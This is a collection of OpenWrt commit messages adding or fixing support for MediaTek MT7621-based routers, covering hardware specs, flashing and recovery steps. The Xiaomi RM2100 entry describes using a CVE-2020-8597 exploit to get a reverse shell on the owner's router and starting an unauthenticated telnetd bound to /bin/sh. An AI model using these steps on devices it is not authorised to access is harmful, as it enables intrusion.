- CPU: MediaTek MT7621A
- RAM: 128 MB DDR3
- FLASH: 128 MB ESMT NAND
- WIFI: 2x2 802.11bgn (MT7603)
- WIFI: 4x4 802.11ac (MT7615)
- ETH: 3xLAN+1xWAN 1000base-T
- LED: Power, WAN, in Amber and White
- UART: On board near ethernet, opposite side from power
- Modified u-boot
Installation:
1. Run linked exploit to get shell, startup telnet and wget the files over
2. mtd write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-kernel1.bin kernel1
3. nvram set uart_en=1
4. nvram set bootdelay=5
5. nvram set flag_try_sys1_failed=1
6. nvram commit
7. mtd -r write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-rootfs0.bin rootfs0
Restore to stock:
1. Setup PXE and TFTP server serving stock firmware image
(See dhcp-boot option of dnsmasq)
2. Hold reset button down before powering on and wait for flashing amber led
3. Release reset button
4. Wait until status led changes from flashing amber to white
Notes:
This device has dual kernel and rootfs slots like other Xiaomi devices currently
supported (mir3g, etc.) thus, we use the second slot and overwrite the first
rootfs onwards in order to get more space.
Exploit and detailed instructions:
https://openwrt.org/toh/xiaomi/xiaomi_redmi_router_ac2100
An implementation of CVE-2020-8597 against stock firmware version 1.0.14
This requires a computer with ethernet plugged into the wan port and an active
PPPoE session, and if successful will open a reverse shell to 192.168.31.177
on port 31337.
As this shell is somewhat unreliable and likely to be killed in a random amount
of time, it is recommended to wget a static compiled busybox binary onto the
device and start telnetd with it.
The stock telnetd and dropbear unfortunately appear inoperable.
(Disabled on release versions of stock firmware likely)
Ie. wget https://yourip/busybox-mipsel -O /tmp/busybox
chmod a+x /tmp/busybox
/tmp/busybox telnetd -l /bin/sh
Tested-by: David Martinez <bonkilla@gmail.com>
Signed-off-by: Richard Huynh <voxlympha@gmail.com>
This is additional fix of c998ae7f0e.
The sysupgrade image of I-O DATA MT7621 devices manufactured by MSTC
(MitraStar Technology Corp.) faced to the booting issue. This was caused
by imcomplete extraction of large kernel image by U-Boot, and this issue
is occurred in initramfs image after fixing of sysupgrade image.
So, use lzma-loader for initramfs image to fix the issue.
Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
Co-developed-by: Yanase Yuki <dev@zpc.sakura.ne.jp>
Signed-off-by: Yanase Yuki <dev@zpc.sakura.ne.jp>
Tested-by: Yanase Yuki <dev@zpc.sakura.ne.jp> [wn-ax2033gr]
The version inside the compat file determines, if a firmware supports
a specific device. I have not yet fully understood, how this is checked,
but it only seems to indicate which devices are supported by a specific
version of the combined vendor firmware. Devices assume that subsequent
versions, starting with the version that initially added support for a
specific device, are always compatible.
The first compat version that added support for the EP-R6 was '21001:7',
but OpenWrt did use '21001:6' before. This is why the factory image could
not be flashed using the vendor software, but only using TFTP.
The compat version has been bumped by the vendor a few times, but more
devices have been added since (e.g. ER-10X). Because OpenWrt currently
only supports the ER-X, ER-X-SFP and EP-R6, the compat version is
incremented to the version that first supported the EP-R6, which is
'21001:7'.
This allows the factory image to be flashed on EP-R6 without TFTP.
Signed-off-by: Fabian Bläse <fabian@blaese.de>
The Linksys EA7500 v2 is advertised as AC1900, but its internal
hardware is AC2600 capable.
Hardware
--------
SoC: Mediatek MT7621AT (880 MHz, 2 cores 4 threads)
RAM: 256M (Nanya NT5CC128M16IP-DI)
FLASH: 128MB NAND (Macronix MX30LF1G18AC-TI)
ETH: 5x 10/100/1000 Mbps Ethernet (MT7530)
WIFI:
- 2.4GHz: 1x MT7615N (4x4:4)
- 5GHz: 1x MT7615N (4x4:4)
- 4 antennas: 3 external detachable antennas and 1 internal
USB:
- 1x USB 3.0
- 1x USB 2.0
BTN:
- 1x Reset button
- 1x WPS button
LEDS:
- 1x White led (Power)
- 6x Green leds (link lan1-lan4, link wan, wps)
- 5x Orange leds (act lan1-lan4, act wan) (working but unmodifiable)
Everything works correctly.
Installation
------------
The “factory” openwrt image can be flashed directly from OEM stock
firmware. After the flash the router will reboot automatically.
However, due to the dual boot system, the first installation could fail
(if you want to know why, read the footnotes).
If the flash succeed and you can reach OpenWrt through the web
interface or ssh, you are done.
Otherwise the router will try to boot 3 times and then will
automatically boot the OEM firmware (don’t turn off the router.
Simply wait and try to reach the router through the web interface
every now and then, it will take few minutes).
After this, you should be back in the OEM firmware.
Now you have to flash the OEM Firmware over itself using the OEM web
interface (I tested it using the FW_EA7500v2_2.0.8.194281_prod.img
downloaded from the Linksys website).
When the router reboots flash the “factory” OpenWrt image and this
time it should work.
After the OpenWrt installation you have to use the sysupgrade image
for future updates.
Restore OEM Firmware
--------------------
After the OpenWrt flash, the OEM firmware is still stored in the
second partition thanks to the dual boot system.
You can switch from OpenWrt to OEM firmware and vice-versa failing
the boot 3 times in a row:
1) power on the router
2) wait 15 seconds
3) power off the router
4) repeat steps 1-2-3 twice more.
5) power on the router and you should be in the “other” firmware
If you want to completely remove OpenWrt from your router, switch to
the OEM firmware and then flash OEM firmware from the web interface
as a normal update.
This procedure will overwrite the OpenWrt partition.
Footnotes
---------
The Linksys EA7500-v2 has a dual boot system to avoid bricks.
This system works using 2 pair of partitions:
1) "kernel" and "rootfs"
2) "alt_kernel" and "alt_rootfs".
After 3 failed boot attempts, the bootloader tries to boot the other
pair of partitions and so on.
This system is managed by the bootloader, which writes a bootcount in
the s_env partition, and if successfully booted, the system add a
"zero-bootcount" after the previous value.
A system update performed from OEM firmware, writes the firmware on the
other pair of partitions and sets the bootloader to boot the new pair
of partitions editing the “boot_part” variable in the bootloader vars.
Effectively it's a quick and safe system to switch the selected boot
partition.
Another way to switch the boot partition is:
1) power on the router
2) wait 15 seconds
3) power off the router
4) repeat steps 1-2-3 twice more.
5) power on the router and you should be in the “other” firmware
In this OpenWrt port, this dual boot system is partially working
because the bootloader sets the right rootfs partition in the cmdline
but unfortunately OpenWrt for ramips platform overwrites the cmdline
so is not possible to detect the right rootfs partition.
Because all of this, I preferred to simply use the first pair of
partitions and set read-only the other pair.
However this solution is not optimal because is not possible to know
without opening the case which is the current booted partition.
Let’s take for example a router booting the OEM firmware from the first
pair of partitions. If we flash the OpenWrt image, it will be written
on the second pair. In this situation the router will bootloop 3 times
and then will automatically come back to the first pair of partitions
containg the OEM firmware.
In this situation, to flash OpenWrt correctly is necessary to switch
the booting partition, flashing again the OEM firmware over itself.
At this point the OEM firmware is on both pair of partitions but the
current booted pair is the second one.
Now, flashing the OpenWrt factory image will write the firmware on
the first pair and then will boot correctly.
If this limitation in the ramips platform about the cmdline will be
fixed, the dual boot system can also be implemented in OpenWrt with
almost no effort.
Signed-off-by: Davide Fioravanti <pantanastyle@gmail.com>
Co-Developed-by: Jackson Lim <jackcolentern@gmail.com>
Signed-off-by: Jackson Lim <jackcolentern@gmail.com>
netis WF2770 is a 2.4/5GHz band AC750 router, based on MediaTek MT7620A.
Specifications:
- SoC: MT7620A
- RAM: DDR2 64MB
- Flash: SPI NOR 16MB
- WiFi:
- 2.4GHz: SoC internal
- 5GHz: MT7610EN
- Ethernet: 5x 10/100/1000Mbps
- Switch: MT7530BU
- UART:
- J2: 3.3V, RX, TX, GND (3.3V is the square pad) / 57600 8N1
MAC addresses in factory partition:
0x0004: LAN, WiFi 2.4GHz (label_mac-6)
0x0028: not used (label_mac-1)
0x002e: WAN (label_mac)
0x8004: WiFi 5GHz (label_mac+2)
Installation via web interface:
1. Flash **initramfs** image through the stock web interface.
2. Boot into OpenWrt and perform sysupgrade with sysupgrade image.
Revert to stock firmware:
1. Perform sysupgrade with stock image.
Reviewed-by: Pawel Dembicki <paweldembicki@gmail.com>
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
- use tab indent in image build recipes for consistency
- harmonize line wrapping
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
[use different line wrapping for one recipe]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Three of the I-O DATA devices with NAND flash share a lot of
variables. Create a common definition for them to reduce duplicate
code.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The official sysupgrade images for I-O DATA devices manufactured by
MSTC (MitraStar Technology Corp.) cannot be booted normally and the
kernel panics after switching to kernel 5.4.
This commit fixes the issue by using lzma-loader.
Note:
These devices use Z-LOADER to read the kernel from NAND flash and boot
it. Z-LOADER cannot load and start plain lzma-loader, so additional
lzma-compression is needed.
Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
Co-developed-by: Yanase Yuki <dev@zpc.sakura.ne.jp>
Signed-off-by: Yanase Yuki <dev@zpc.sakura.ne.jp>
Tested-by: Yanase Yuki <dev@zpc.sakura.ne.jp> [wn-ax2033gr]
In several Japanese routers with MT7621 SoC, the official sysupgrade
image cannot be booted properly after switching to kernel 5.4.
This commit fixes the issue by using lzma-loader.
Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
This device has trouble extracting big kernel from flash,
and supports LZMA compressed kernels only.
Using OpenWrt kernel loader saves us 64 KB compared to the dictionary
size limiting workaround.
Factory image sizes (commit: 5f126c541a) with "CONFIG_ALL_KMODS=y":
- original ("-d23", default): 4784188 bytes, LZMA ERROR 1
- with "-d19": 4915260, LZMA ERROR 1
- with "-d18": 4915260, diff to original: +128 KB
- with "-d17": 4980796, diff to original: +192 KB
- with this patch: 4849724, diff to original: +64 KB
To save some CPU cycle, use minimal compression ("-a0") for the LZMA
compressed uImage.
The most robust solution would use a different loader,
which reads the compressed kernel directly from the flash.
See the thread at [0] for more details!
[0] http://lists.infradead.org/pipermail/openwrt-devel/2020-April/022926.html
Signed-off-by: Szabolcs Hubai <szab.hu@gmail.com>
Tested-by: Stijn Segers <foss@volatilesystems.org>
[fixed identation]
Signed-off-by: David Bauer <mail@david-bauer.net>
Netgear R7200 is another clone of Netgear R6700v2, introduced in:
6e80df5 ("ramips: add support for NETGEAR R6700v2/AC2400")
Reported-by: Joel Pinsker, github user @joelp64
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
Increase kernel partition because 2M is insufficient for 5.4
Because the partition changes, previous version of OpenWrt cannot upgrade
to this version, and requires a new installation
Recovery to stock instruction:
1. Download stock firmware at
http://ur.ikcd.net/HC5962-sysupgrade-20171221-b00a04d1.bin
2. Power off the router
3. Press and hold the reset button for 4~6 sec while power it back on
4. Connect a PC to router's LAN
5. Visit http://192.168.2.1 and upload the firmware
Then repeat the instruction in edae3479e6 to install OpenWrt
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
ubnt er-x/xiaomi/netgear sercomm devices are known to have troble
extracting a big kernel from flash and has support for uncompressed
uimage
This commit uses uncompressed uimage with lzma-loader for these devices
to fix boot issue.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
Loader platform is a per-soc variable instead of a per-device one.
Determine corresponding loader platform at the beginning of image
Makefile.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
The "proper" vendor prefix for Ubiquiti is "ubnt", this is used in
all targets except ramips and also recommended by the kernel.
This patch adjusts the various board/image/device name variables
accordingly. Since we touch it anyway, this also adds the space
in "EdgeRouter X" as a hyphen to those variables to really make
them consistent with the model name.
While at it, create a real shared definition for the devices in
image/mt7621.mk instead of deriving one device from another.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
I-O DATA WN-AX2033GR is roughly the same as I-O DATA
WN-AX1167GR2. The difference is Wi-Fi feature.
Specification
=============
- SoC: MediaTek MT7621A
- RAM: DDR3 128 MiB
- Flash Memory: NAND 128 MiB (Spansion S34ML01G200TF100)
- Wi-Fi: MediaTek MT7603E
- Wi-Fi: MediaTek MT7615
- Ethernet: 5x 10 Mbps / 100 Mbps / 1000 Mbps (1x WAN, 4x LAN)
- LED: 2x green LED
- Input: 2x tactile switch, 1x slide switch
- Serial console: 57600bps, PCB through hole J5 (Vcc, TX, RX, NC, GND)
- Power: DC 12V
This device only supports channel 1-13 and 36-140.
Thus, narrower frequency limits compared to other devices are required
for limiting wi-fi frequency correctly.
Without this, non-supported frequencies are activated.
Flash instructions
==================
1. Open the router management page (192.168.0.1).
2. Update router firmware using "initramfs-kernel.bin".
3. After updating, run sysupgrade with "sysupgrade.bin".
Recovery instructions
=====================
WN-AX2033GR contains Zyxel Z-LOADER
1. Setup TFTP server (IP address: 10.10.10.3).
2. Put official firmware into TFTP server directory (distribution site:
https://www.iodata.jp/lib/software/w/2068.htm)
3. Connect WX-AX2033GR Ethernet port and computer that runs TFTP server.
4. Connect to serial console.
5. Interrupt booting by Esc key.
6. Flash firmware using "ATNR 1,[firmware filename]" command.
Signed-off-by: Yanase Yuki <dev@zpc.sakura.ne.jp>
[adjust for kernel 5.4, add recovery instructions/frequency comment]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
So far, image/device/board names for Mikrotik devices in mt7621 have
been used quite inconsistently.
This patch harmonizes the naming scheme by applying the same style
as used lately in ath79, i.e. using "RouterBOARD" as separate word
in the model name (instead of RB prefix for the number) and deriving
the board/device name from that (= make lower case and replace spaces
by hyphens).
This style has already been used for most the model/DEVICE_MODEL
variables in mt7621, so this is essentially just adjusting the remaining
variables to that.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Buffalo WSR-2533DHPL is a 2.4/5 GHz band 11ac router, based on MediaTek
MT7621A.
Specification:
- SoC : MediaTek MT7621A
- RAM : DDR3 128 MiB
- Flash : SPI-NOR 16 MiB
- WLAN : 2.4/5 GHz 4T4R (2x MediaTek MT7615N)
- Ethernet : 10/100/1000 Mbps
- Switch : MediaTek MT7530 (SoC)
- LED/keys : 8x/6x (3x buttons, 2x slide-switches)
- UART : through-hole on PCB
- J4: 3.3V, GND, TX, RX from triangle-mark
- 57600n8
- Power : 12VDC 1.5A
Flash instruction using initramfs image:
1. prepare the TFTP server with the initramfs image renamed to
"linux.trx-recovery" and IP address "192.168.11.2"
2. press the "AOSS" button while powering on the WSR-2533DHPL
3. after 10 seconds, release the "AOSS" button, WSR-2533DHPL downloads
the initramfs image and boot with it automatically
4. on the initramfs image, download the sysupgrade image to the device
and perform sysupgrade with it
5. wait ~120 seconds to complete flashing
Switch position overview:
- slide-switch1 (2x positions)
- "AUTO"
- "MANUAL" (not connected to gpio)
- slide-switch2 (3x positions)
- "ROUTER"
- "AP" (not connected to gpio)
- "WB"
Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
[add note on switches, fix group->groups for state_default]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
It's unknown which switch port is used on mikrotik_rbm11g.
Disable this image until someone with actual device fixes this problem.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
The original idea of bitbanged I2C is to use i2c-gpio-custom
Since i2c-gpio-custom is no longer available on 5.4, use SoC I2C instead
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
Now that check-size uses IMAGE_SIZE by default, we can skip the argument from
image recipes to reduce redundancy.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
[do not touch ar71xx]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Place DEVICE_VARS assignments at the top of the file or above Device/Default
to make them easier to find.
For ramips, remove redundant values already present in parent file.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
[do not touch ar71xx, extend commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Currently kmod-ata-* will not get into images unless kmod-ata-core is added to
DEVICE_PACKAGES as well. By changing the dependencies from "depends on" to
"select", we do not have the issue anymore.
Furthermore, we can remove most occurrences of the package from DEVICE_PACKAGES
and similar variables, as it is now pulled by dependent modules such as:
- kmod-ata-ahci
- kmod-ata-ahci-mtk
- kmod-ata-sunxi
While at it, use AddDepends/ata for kmod-ata-pdc202xx-old.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
Hardware
--------
SoC: MediaTek MT7621AT
WiFi: MediaTek MT7603 bgn 2T2R
MediaTek MT7615 ac 4T4R
Flash: 32M SPI (Macronix MX25L25635F)
RAM: 128M DDR3 (Winbond W631GG6KB)
LED: Dome (Blue / White)
BTN: Reset
Installation
------------
These instructions were written for firmware version v3.9.27.
Downgrade if necessary.
1. Copy the OpenWrt sysupgrade image to the devices /tmp folder
via scp. On factory defaults, user and password is "ubnt" at
192.168.1.20/24.
2. Write the bootselect flag. Otherwise, the device might boot from the
wrong partition. Verify the mtd partition used in the command below
is the one labled "bs" in /proc/mtd (as this might change in the
future).
> dd if=/dev/zero bs=1 count=1 of=/dev/mtd4
3. Write the OpenWrt sysupgrade to the mtd partitions labled
"kernel0" and "kernel1".
> dd if=/tmp/openwrt-sysupgrade.bin of=/dev/mtdblock6
> dd if=/tmp/openwrt-sysupgrade.bin of=/dev/mtdblock7
4. Reboot or powercycle the device.
Signed-off-by: David Bauer <mail@david-bauer.net>
This patch adds support for the Netgear R6800, aka Netgear AC1900 and
R6800-100PES.
Specification:
- SoC: MediaTek MT7621AT (880 MHz)
- Flash: 128 MiB NAND
- RAM: 256 MiB
- Wireless: MediaTek MT7615EN b/g/n , MediaTek MT7615EN an+ac
- LAN speed: 10/100/1000
- LAN ports: 4
- WAN speed: 10/100/1000
- WAN ports: 1
- USB 2.0
- USB 3.0
- Serial baud rate of Bootloader and factory firmware: 57600
Known issues:
- Device has 3 wifi LEDs: Wifi 5Ghz, Wifi 2.4Ghz and Wifi on/off.
Wifi on/off is not used.
Installation:
- apply factory image via stock web-gui.
Back to stock:
- nmrpflash can be used to recover to the stock Netgear firmware.
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
Stock firmware has a vendor-defined tail at the end of uImage for image
validation. This patch enables OpenWrt installation from stock firmware
without having to access the UART console.
Installation via web interface:
1. Flash **initramfs** image through the stock web interface.
2. Boot into OpenWrt and perform sysupgrade with sysupgrade image.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
The correct model name of WF-2881 is WF2881 without hyphen. The former used
boardnames are not added to SUPPORTED_DEVICES, to make it explicit that the
sysupgrade-tar image, which is newly added in the previous commit, should
not be used to upgrade from older version.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
[adjust commit title]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
WF-2881 sysupgrade image uses UBI rootfs, but still relies on
default_do_upgrade. Because of this, config backup is not restored after
sysupgrade. It can be fixed by switching to nand_do_upgrade and
sysupgrade-tar image. default_do_upgrade does not handle sysupgrade-tar
properly, so one should use factory image to upgrade from older version.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
This commit adds the ability to set custom uImage magic to
Build/wr1201-factory-header and renames it to
"Build/custom-initramfs-uimage".
Custom uImage header in initramfs image is required on following
devices:
- I-O DATA WN-AX1167GR2
- I-O DATA WN-AX2033GR
- I-O DATA WN-AX2033GR2
- I-O DATA WN-DX1167R
While at it, fix typo in comment.
Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
Reviewed-by: Sungbo Eo <mans0n@gorani.run>
[shorten commit title, minor commit message adjustments]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This moves the various variants of common device definitions for
TP-Link devices to a common Makefile common-tp-link.mk. This
provides the opportunity to reorganize and move parameters between
individual device definitions and the common ones.
While at it, also use the common definitions for previously
independent definitions where appropriate.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
In ramips, all devices in mt7621, mt76x8 and rt288x subtarget have
the same value set to the SOC variable for each device individually.
This patch introduces a non-device-dependent variable DEFAULT_SOC,
which is used if no specific SOC is set for a device, and thus reduces
the number of redundant definitions drastically.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This device OOPs during the boot due to broken flash. It can be probably
fixed with `broken-flash-reset` once ramips is on 4.19 kernel.
So disable images for this device until its fixed.
Ref: FS#2695, PR#2483
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Image builds for the ramips-mt7621 target currently fail with:
> WARNING: Image file ./hiwifi_hc5962-kernel.bin is too big
Disable this board for now. It can still be built using the SDK.
Signed-off-by: David Bauer <mail@david-bauer.net>
ipTIME A8004T is a 2.4/5GHz band AC2600 router, based on Mediatek
MT7621A.
Specifications:
- SoC: MT7621A
- RAM: DDR3 256M
- Flash: SPI NOR 16MB
- WiFi:
- 2.4GHz: MT7615E
- 5GHz: MT7615E
- Ethernet: 5x 10/100/1000Mbps
- Switch: SoC internal
- USB: 1 * USB3.0 port
- UART:
- J4: 3.3V, TX, RX, GND (3.3V is the square pad) / 57600 8N1
- Other info:
- J9: Unknown unpopulated header.
Installation via web interface:
1. Flash **initramfs** image through the stock web interface.
2. Boot into OpenWrt and perform sysupgrade with sysupgrade image.
Revert to stock firmware:
1. Perform sysupgrade with stock image.
Signed-off-by: Yong-hyu Ban <perillamint@quendi.moe>
[do not enable xhci node in DTS which is already enabled in DTSI]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Edimax RA21S is a dual band 11ac router,
based on MediaTek MT7621A and MT7615N chips.
Specification:
- SoC: MediaTek MT7621A dual-core @ 880MHz
- RAM: 256M (Nanya NT5CC128M16IP)
- FLASH: 16MB (Macronix MX25L12835F)
- WiFi: 2.4/5 GHz 4T4R
- 2.4GHz MediaTek MT7615N bgn
- 5GHz MediaTek MT7615N nac
- Switch: SoC integrated Gigabit Switch (4 x LAN, 1 x WAN)
- USB: No
- BTN: Reset, WPS
- LED: 4 red LEDs, indistinguishable when case closed
- UART: through-hole on PCB.
J1: 3.3V - RX - GND - TX / 57600-8N1. 3.3V is the square pad
Installation:
Update the factory image via the OEM web-interface
(by default: http://192.168.2.1/)
User: admin
Password: 1234
The sysupgrade image can be installed via TFTP
from the U-Boot bootloader. Connect via ethernet port 2.
Tested on device by @UAb5eSMn
Signed-off-by: Maksym Medvedev <redrathnure@gmail.com>
[split DTS and take over improvements from RG21S, extend commit
message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This harmonizes the line wrapping in image Makefile device
definitions, as those are frequently copy-pasted and are a common
subject of review comments. Having the treatment unifying should
reduce the cases where adjustment is necessary afterwards.
Harmonization is achieved by consistently (read "strictly")
applying certain rules:
- Never put more than 80 characters into one line
- Fill lines up (do not break after 40 chars because of ...)
- Use one tab for indent after wrapping by "\"
- Only break after pipe "|" for IMAGE variables
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
JCG JHR-AC876M is an AC2600M router
Hardware specs:
SoC: MT7621AT
2.4GHz: MT7615N 4x4 @ PCIe0
5GHz: MT7615N 4x4 @ PCIe1
Flash: Winbond W25Q128JVSQ 16MiB
RAM: Nanya NT5CB128M16 256MiB
USB 2.0 and 3.0 ports
6 LEDs, 3 of which are connected to SoC GPIO
Reset and WPS buttons
Flash instructions:
Stock to OpenWrt:
Upload factory.bin in stock firmware's upgrade page,
do not preserve settings
OpenWrt to stock:
Push and hold the reset button for 5s while power cycling to
enter recovery mode;
Visit 192.168.1.1 and upload stock firmware
MAC addresses map:
0x0004 *:1c wlan2g/wan/label
0x8004 *:20 wlan5g
0xe000 *:1b lan
0xe006 *:1a not used in stock fw
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
ipTIME A6ns-M is a 2.4/5GHz band AC1900 router, based on MediaTek MT7621A.
Specifications:
- SoC: MT7621AT
- RAM: DDR3 128MB
- Flash: SPI NOR 16MB
- WiFi:
- 2.4GHz: MT7615
- 5GHz: MT7615
- Ethernet: 5x 10/100/1000Mbps
- Switch: SoC internal
- UART:
- J4: 3.3V, TX, RX, GND (3.3V is the square pad) / 57600 8N1
Installation via web interface:
1. Flash **initramfs** image through the stock web interface.
2. Boot into OpenWrt and perform sysupgrade with sysupgrade image.
Revert to stock firmware:
1. Perform sysupgrade with stock image.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
ZIO FREEZIO is a 2.4/5GHz band AC1200 router, based on MediaTek MT7621A.
Specifications:
- SoC: MT7621AT
- RAM: DDR3 128MB
- Flash: SPI NOR 16MB
- WiFi:
- 2.4GHz: MT7603EN
- 5GHz: MT7612EN
- Ethernet: 5x 10/100/1000Mbps
- Switch: SoC internal
- USB: 1x 3.0
- UART:
- J4: 3.3V, RX, TX, GND (3.3V is the square pad) / 57600 8N1
Notes:
- FREEZIO has almost the same board as WeVO W2914NS v2.
- Stock firmware is based on OpenWrt BB.
MAC addresses in factory partition:
0x0004: WiFi 2.4GHz (label_mac-8)
0x002e: WAN (label_mac)
0x8004: WiFi 5GHz (label_mac-4)
0xe000: LAN (label_mac+1)
Installation via web interface:
1. Access web admin page and turn on "OpenWrt UI mode".
2. Flash sysupgrade image through LuCI, with the "Keep settings" option
OFF.
Revert to stock firmware:
1. Perform sysupgrade with stock image.
Make sure to NOT preserve settings.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
[rebase, use mt7621_wevo_w2914ns-v2.dtsi]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The stock firmware and bootloader only accept uImage with names that
match certain patterns. This patch enables OpenWrt installation from
stock firmware without having to reflash the bootloader or access the
UART console.
Installation via web interface:
1. Flash **initramfs** image through the stock web interface.
2. Boot into OpenWrt and perform sysupgrade with sysupgrade image.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
ALFA Network Quad-E4G is a universal Wi-Fi/4G platform, which offers
three miniPCIe (PCIe, USB 2.0, SIM) and a single M.2 B-key (dual-SIM,
USB 3.0) slots, RTC and five Gigabit Ethernet ports with PoE support.
Specification:
- MT7621A (880 MHz)
- 256/512 MB of RAM (DDR3)
- 16/32+ MB of FLASH (SPI NOR)
- optional second SPI flash (8-pin WSON/SOIC)
- 1x microSD (SDXC) flash card reader
- 5x 10/100/100 Mbps Ethernet, with passive PoE support (24 V) in LAN1
- optional 802.3at/af PoE module for WAN
- 3x miniPCIe slot (with PCIe and USB 2.0 buses, micro SIM and 5 V)
- 1x M.2/NGFF B-key 3042 (USB 3.0/2.0, mini + micro SIM)
- RTC (TI BQ32002, I2C bus) with backup battery (CR2032)
- external hardware watchdog (EM Microelectronic EM6324)
- 1x USB 2.0 Type-A
- 1x micro USB Type-B for system serial console (Holtek HT42B534)
- 11x LED (5 for Ethernet, 5 driven by GPIO, 1x power indicator)
- 3x button (reset, user1, user2)
- 1x I2C (4-pin, 2.54 mm pitch) header on PCB
- 4x SIM (6-pin, 2.00 mm pitch) headers on PCB
- 2x UART2/3 (4-pin, 2.54 mm pitch) headers on PCB
- 1x mechanical power switch
- 1x DC jack with lock (24 V)
Other:
- U-Boot selects default SIM slot, based on value of 'default_sim' env
variable: '1' or unset -> SIM1 (mini), '2' -> SIM2 (micro). This board
has additional logic circuit for M.2 SIM switching. The 'sim-select'
will work only if both SIM slots are occupied. Otherwise, always slot
with SIM inside is selected, no matter 'sim-select' value.
- U-Boot enables power in all three miniPCIe and M.2 slots before
loading the kernel
- this board supports 'dual image' feature (controlled by 'dual_image'
U-Boot environment variable)
- all three miniPCIe slots have additional 5 V supply on pins 47 and 49
- the board allows to install up to two oversized miniPCIe cards (vendor
has dedicated MediaTek MT7615N/D cards for this board)
- this board has additional logic circuit controlling PERSTn pins inside
miniPCIe slots. By default, PERSTn (GPIO19) is routed to all miniPCIe
slots but setting GPIO22 to high allows PERSTn control per slot, using
GPIO23-25 (value is inverted)
You can use the 'sysupgrade' image directly in vendor firmware which is
based on OpenWrt (make sure to not preserve settings - use 'sysupgrade
-n -F ...' command). Alternatively, use web recovery mode in U-Boot:
1. Power the device with reset button pressed, the modem LED will start
blinking slowly and after ~3 seconds, when it starts blinking faster,
you can release the button.
2. Setup static IP 192.168.1.2/24 on your PC.
3. Go to 192.168.1.1 in browser and upload 'sysupgrade' image.
Signed-off-by: Piotr Dymacz <pepe2k@gmail.com>
This patch renames and reassembles the common definition for
Netgear R6xxx devices in mt7621.mk. The following goals should be
achieved:
- Give the node a more generic name instead of adding devices to it
- Use the common definition in the (less) similar R6220 node
- Include/exclude settings into the common definition so the common
node contains the common definitions
- Prepare for support of R6700 v2
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
- CMIIT ID: 2019AP2581
- SoC: MediaTek MT7621
- Flash: 16MiB NOR SPI (GigaDevice GD25Q128B)
- RAM: 128MiB DDR3 (ESMT M15T1G1664A)
- Serial: As marked on PCB, 3V3 logic, baudrate is 115200, 8n1
- Ethernet: 3x 10/100/1000 Mbps (switched, 2xLAN + WAN)
- WIFI0: MT7603E 2.4GHz 802.11b/g/n
- WIFI1: MT7612E 5GHz 802.11ac
- Antennas: 4x external (2 per radio), non-detachable
- LEDs: Programmable "power" LED (two-coloured, yellow/blue)
Non-programmable "internet" LED (shows WAN activity)
- Buttons: Reset
INSTALLATION:
Bootloader won't accept any serial input unless "boot_wait" u-boot
environment variable is changed to "on". Vendor firmware (looks like
an illegal OpenWrt fork) won't accept any serial input unless
"uart_en" is set to "1". Tricks to force u-boot to use default
environment do not help as it's restricted in the same way.
With bootloader unlocked the easiest way would be to TFTP the
sysupgrade image or to sysupgrade after loading an initramfs one.
For porting the flash contents were changed externally with an SPI
programmer (after lifting Vcc flash IC pin away from the PCB).
Forum thread [0] indicates that this device is identical to "Xiaomi Mi
Router 4A Gigabit Edition".
[0] https://forum.openwrt.org/t/xiaomi-mi-router-4a-gigabit-edition-r4ag-r4a-gigabit-fully-supported-but-requires-overwriting-spi-flash-with-programmer/36685
Signed-off-by: Paul Fertser <fercerpav@gmail.com>
The Asus RT-AC65P router is identical with the RT-AC85P, but better to make separate images for it.
On both routers the installation can be done also via SSH:
Note: The user/password for SSH is identical with the one used in the
Web-interface.
1. Complete the initial setup wizard.
2. Activate SSH under "Administration" -> "System".
3. Transfer the OpenWrt factory image via scp:
> scp openwrt-ramips-mt7621-asus_rt-ac65p-squashfs-factory.bin admin@192.168.50.1:/tmp
4. Connect via SSH to the router.
> ssh admin@192.168.50.1
5. Write the OpenWrt image to flash.
